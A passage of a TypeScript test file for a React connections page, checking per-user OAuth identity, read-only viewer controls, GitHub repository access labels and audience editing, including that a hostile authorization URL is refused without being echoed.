||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Reconnect")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" }));
|
||
// The refusal explains itself without echoing the hostile URL back into the DOM.
|
||
const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? "");
|
||
expect(body.length).toBeGreaterThan(0);
|
||
expect(body).not.toContain(authorizationUrl);
|
||
});
|
||
|
||
// -------------------------------------------------------------------------
|
||
// Personal connection identity (PAP-17835). These cover the permission
|
||
// matrix in the accepted design: a member self-serving, manager oversight,
|
||
// a read-only viewer, and the audience editor's two scopes.
|
||
// -------------------------------------------------------------------------
|
||
|
||
function perUserConnection(overrides: Record<string, unknown> = {}) {
|
||
return connection({ credentialPolicy: "per_user", authKind: "oauth", ...overrides });
|
||
}
|
||
|
||
function findButton(label: string) {
|
||
return Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === label);
|
||
}
|
||
|
||
it("does not label a revoked AI credential as Connected", async () => {
|
||
getConnectionMock.mockResolvedValue(connection({ connectionPurpose: "ai", transport: "runtime_auth", healthStatus: "ok", config: { provider: "openai", method: "api_key" } }));
|
||
listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1" }, grants: [organizationGrant({ status: "revoked" })], capabilities: fullCapabilities(), currentUserId: "user-1", members: [] });
|
||
await renderAppDetail();
|
||
expect(container.textContent).toContain("Revoked");
|
||
expect(container.textContent).not.toContain("Connected");
|
||
});
|
||
|
||
it("keeps the app header concise on every tab", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Connected");
|
||
expect(container.textContent).not.toContain("This connection is for one person.");
|
||
expect(container.textContent).not.toContain("Connected by");
|
||
});
|
||
|
||
it("lets a regular member connect their own identity and never someone else's", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
startPersonalAuthorizationMock.mockResolvedValue({ url: "https://accounts.example.test/authorize" });
|
||
|
||
await renderAppDetail();
|
||
|
||
// Missing personal identity is explicit, never a silent fallback.
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Only you can use this connection");
|
||
expect(container.textContent).toContain("Personal account");
|
||
expect(container.textContent).toContain("Not connected");
|
||
expect(container.textContent).not.toContain("Organization identity");
|
||
expect(findButton("Connect organization identity")).toBeUndefined();
|
||
|
||
await act(async () => {
|
||
findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// The subject is the signed-in user, so there is no path here to start
|
||
// consent on a coworker's behalf.
|
||
expect(startPersonalAuthorizationMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
subjectUserId: "user-1",
|
||
returnTo: "/apps/conn-1/permissions",
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://accounts.example.test/authorize");
|
||
});
|
||
|
||
it("keeps personal managed authorization in the tenant until the provider is ready", async () => {
|
||
const session = "personal_background_session_1234";
|
||
const request = vi.spyOn(globalThis, "fetch").mockResolvedValue(Response.json({
|
||
authorizationUrl: "https://provider.example.test/authorize?state=personal",
|
||
}));
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
startPersonalAuthorizationMock.mockResolvedValue({
|
||
url: "https://my.paperclip.app/connections/confirm?session=legacy",
|
||
handoff: { kind: "paperclip_cloud", session },
|
||
});
|
||
|
||
await renderAppDetail();
|
||
await act(async () => {
|
||
findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(request).toHaveBeenCalledWith("/cloud/connections/handoff", expect.objectContaining({
|
||
method: "POST",
|
||
body: JSON.stringify({ session }),
|
||
}));
|
||
await vi.waitFor(() => {
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://provider.example.test/authorize?state=personal",
|
||
);
|
||
});
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalledWith(expect.stringContaining("/connections/confirm"));
|
||
});
|
||
|
||
it("keeps a viewer read-only across identities and installs", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({ credentialPolicy: "shared" }));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [organizationGrant({ capabilities: { canRevoke: false, canEditAudience: false } })],
|
||
capabilities: {
|
||
canConfigure: false,
|
||
canCreateOrganizationGrant: false,
|
||
canSetCompanyInstall: false,
|
||
canConnectAsCurrentUser: false,
|
||
canManageAgentInstalls: false,
|
||
canViewOtherPersonalIdentities: false,
|
||
editableAgentIds: [],
|
||
},
|
||
currentUserId: "viewer-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
|
||
// State stays legible...
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
expect(container.textContent).not.toContain("Personal account");
|
||
// ...and every mutation control is absent rather than disabled.
|
||
expect(findButton("Connect as me")).toBeUndefined();
|
||
expect(findButton("Manage access")).toBeUndefined();
|
||
expect(findButton("Revoke")).toBeUndefined();
|
||
expect(findButton("Connect organization identity")).toBeUndefined();
|
||
});
|
||
|
||
it("shows one fixed personal identity without an organization switch", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection({ createdByUserId: "user-2" }));
|
||
revokeConnectionGrantMock.mockResolvedValue({ id: "grant-other", kind: "user" });
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [
|
||
organizationGrant(),
|
||
personalGrant({ id: "grant-other", subjectUserId: "user-2" }),
|
||
],
|
||
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
|
||
currentUserId: "user-1",
|
||
members: [
|
||
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
|
||
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Only you can use this connection");
|
||
expect(container.textContent).toContain("Carol");
|
||
expect(container.textContent).not.toContain("Organization identity");
|
||
expect(container.textContent).not.toContain("Other personal identities");
|
||
expect(findButton("Connect organization identity")).toBeUndefined();
|
||
expect(findButton("Agents")).toBeUndefined();
|
||
|
||
expect(findButton("Reconnect")).toBeUndefined();
|
||
expect(findButton("Revoke")).toBeUndefined();
|
||
});
|
||
|
||
it("shows the personal GitHub username and every accessible repository", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
|
||
repositoryCount: 2,
|
||
repositories: [
|
||
{ id: "1", fullName: "paperclipai/first", installationId: "456", private: true },
|
||
{ id: "2", fullName: "paperclipai/second", installationId: "456", private: false },
|
||
],
|
||
})],
|
||
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
|
||
});
|
||
await renderAppDetail();
|
||
expect(container.textContent).toContain("@dottabot");
|
||
expect(container.textContent).toContain("2 selected repositories");
|
||
expect(container.querySelectorAll('ul[aria-label="Accessible GitHub repositories"] li')).toHaveLength(2);
|
||
expect(container.textContent).toContain("paperclipai/first");
|
||
expect(container.textContent).toContain("paperclipai/second");
|
||
expect(container.querySelector('a[href="https://github.com/paperclipai/first"] [aria-label="Private repository"]')).toBeTruthy();
|
||
expect(container.querySelector('a[href="https://github.com/paperclipai/second"] [aria-label="Private repository"]')).toBeNull();
|
||
const configureHint = [...container.querySelectorAll("p a")].find((link) => link.textContent === "Configure access on GitHub");
|
||
expect(configureHint?.getAttribute("href")).toBe("https://github.com/apps/paperclip-test/installations/new");
|
||
});
|
||
|
||
it.each([undefined, "https://github.com/settings/installations"])("loads missing GitHub app configuration instead of linking legacy settings (%s)", async (installationUrl) => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, { installationUrl })],
|
||
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
|
||
});
|
||
await renderAppDetail();
|
||
expect(findButton("Load GitHub configuration")).toBeTruthy();
|
||
expect(container.querySelector('a[href="https://github.com/settings/installations/456"]')).toBeNull();
|
||
expect(container.querySelector('a[href="https://github.com/settings/installations"]')).toBeNull();
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
|
||
appSlug: "paperclip-staging", installationUrl: "https://github.com/apps/paperclip-staging/installations/new",
|
||
})],
|
||
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
|
||
});
|
||
await act(async () => { findButton("Load GitHub configuration")!.click(); });
|
||
await flushReact();
|
||
expect(checkConnectionHealthMock).toHaveBeenCalledWith("conn-1");
|
||
expect(container.querySelector('a[href="https://github.com/apps/paperclip-staging/installations/new"]')?.textContent).toBe("Add More Repos on GitHub");
|
||
expect(findButton("Load GitHub configuration")).toBeUndefined();
|
||
});
|
||
|
||
it.each([false, true])("shows repositories across accounts without filter controls (empty: %s)", async (empty) => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(perUserConnection());
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
|
||
repositoryCount: empty ? 0 : 3,
|
||
installationOwnerLogins: ["paperclipai", "dottabot", "empty-org"],
|
||
repositories: empty ? [] : [
|
||
{ id: "1", fullName: "paperclipai/first", installationId: "456" },
|
||
{ id: "2", fullName: "paperclipai/second", installationId: "456" },
|
||
{ id: "3", fullName: "dottabot/first", installationId: "789" },
|
||
],
|
||
})],
|
||
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
|
||
});
|
||
await renderAppDetail();
|
||
const repositoryNames = () => [...container.querySelectorAll('ul[aria-label="Accessible GitHub repositories"] a')].map((link) => link.textContent);
|
||
expect(repositoryNames()).toEqual(empty ? [] : ["paperclipai/first", "paperclipai/second", "dottabot/first"]);
|
||
if (empty) {
|
||
expect(container.querySelector('p[role="status"]')?.textContent?.trim()).toBe("No accessible repositories.");
|
||
expect(container.textContent).not.toContain("Refresh access to load the current repository list.");
|
||
}
|
||
expect(container.querySelector('[aria-label="Filter repositories by account or organization"]')).toBeNull();
|
||
expect(container.querySelector('input[aria-label="Search GitHub repositories"]')).toBeNull();
|
||
expect(container.querySelector('a[href="https://github.com/apps/paperclip-test/installations/new"]')?.textContent).toBe("Add More Repos on GitHub");
|
||
expect(updateConnectionMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("shows dedicated GitHub access as compact action rows and links to the agent", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
credentialPolicy: "per_agent",
|
||
authKind: "oauth",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant()],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.querySelector('a[href="/agents/coder"]')?.textContent).toContain("Used only by Coder");
|
||
expect(container.textContent).toContain("Repositories");
|
||
expect(container.textContent).toContain("1 selected repository");
|
||
expect(container.querySelector('a[href="https://github.com/dottabot"]')?.textContent).toBe("@dottabot");
|
||
expect(container.querySelector('a[href="https://github.com/paperclipai/test-repo"]')?.textContent).toBe("paperclipai/test-repo");
|
||
expect(container.querySelector(
|
||
'a[href="https://github.com/apps/paperclip-test/installations/new"]',
|
||
)?.textContent).toBe("Add More Repos on GitHub");
|
||
expect(container.querySelector('button[aria-label="Refresh access"]')).toBeTruthy();
|
||
expect(container.textContent).not.toContain("Installation");
|
||
expect(container.textContent).not.toContain("Token continuity");
|
||
expect(container.textContent).not.toContain("Webhook health");
|
||
expect(container.textContent).not.toContain("Last event");
|
||
expect(container.textContent).not.toContain("Last access refresh");
|
||
expect(container.textContent).not.toContain("Shell Git and gh use this account");
|
||
|
||
const askFirst = container.querySelector<HTMLButtonElement>('button[aria-label="Read repo: Ask first"]');
|
||
expect(askFirst).toBeTruthy();
|
||
await act(async () => {
|
||
askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain(
|
||
"Shell Git and gh use this account for the run and are not constrained by per-tool Ask-first controls.",
|
||
);
|
||
});
|
||
|
||
it("warns about all-repository GitHub access within the repository row", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
credentialPolicy: "per_agent",
|
||
authKind: "oauth",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({}, {
|
||
repositoryCount: 0,
|
||
repositorySelection: "all",
|
||
})],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("All current and future repositories");
|
||
expect(container.textContent).not.toContain("selected repositories");
|
||
});
|
||
|
||
it.each([
|
||
["mixed", "Mixed access; scope varies by installation"],
|
||
["none", "No repositories selected"],
|
||
] as const)("labels %s GitHub repository access explicitly", async (repositorySelection, expected) => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
credentialPolicy: "per_agent",
|
||
authKind: "oauth",
|
||
}));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [dedicatedGitHubGrant({}, {
|
||
repositoryCount: 0,
|
||
repositorySelection,
|
||
})],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain(expected);
|
||
expect(container.textContent).not.toContain("selected repositories");
|
||
});
|
||
|
||
it("persists an empty audience as all organization members", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" }));
|
||
replaceConnectionGrantMembersMock.mockResolvedValue(organizationGrant({ members: [] }));
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [organizationGrant({
|
||
members: [{ id: "m-1", companyId: "company-1", grantId: "grant-org", subjectType: "user", subjectId: "user-2", createdAt: new Date() }],
|
||
})],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [
|
||
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
|
||
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
|
||
await act(async () => {
|
||
findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((option) => option.textContent?.includes("All organization members"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Save audience")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// "All members" is the empty set on the wire; the UI never says "empty".
|
||
expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", []);
|
||
});
|
||
|
||
it("persists a selected audience and keeps the dialog open when the server refuses", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" }));
|
||
replaceConnectionGrantMembersMock.mockRejectedValue(
|
||
new Error("Every audience member must be an active company member"),
|
||
);
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [organizationGrant({ members: [] })],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [
|
||
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
|
||
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
await act(async () => {
|
||
findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((option) => option.textContent?.includes("Selected members"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.includes("Choose people"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
document.body.querySelector<HTMLElement>('[aria-label="Allow Carol"]')
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Save audience")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", ["user-2"]);
|
||
// A denial keeps the dialog open with the selection intact and explains
|
||
// itself inline, rather than dropping the work into a toast.
|
||
const dialogText = document.body.textContent ?? "";
|
||
expect(dialogText).toContain("Who can use this identity");
|
||
expect(dialogText).toContain("Every audience member must be an active company member");
|
||
});
|
||
});
|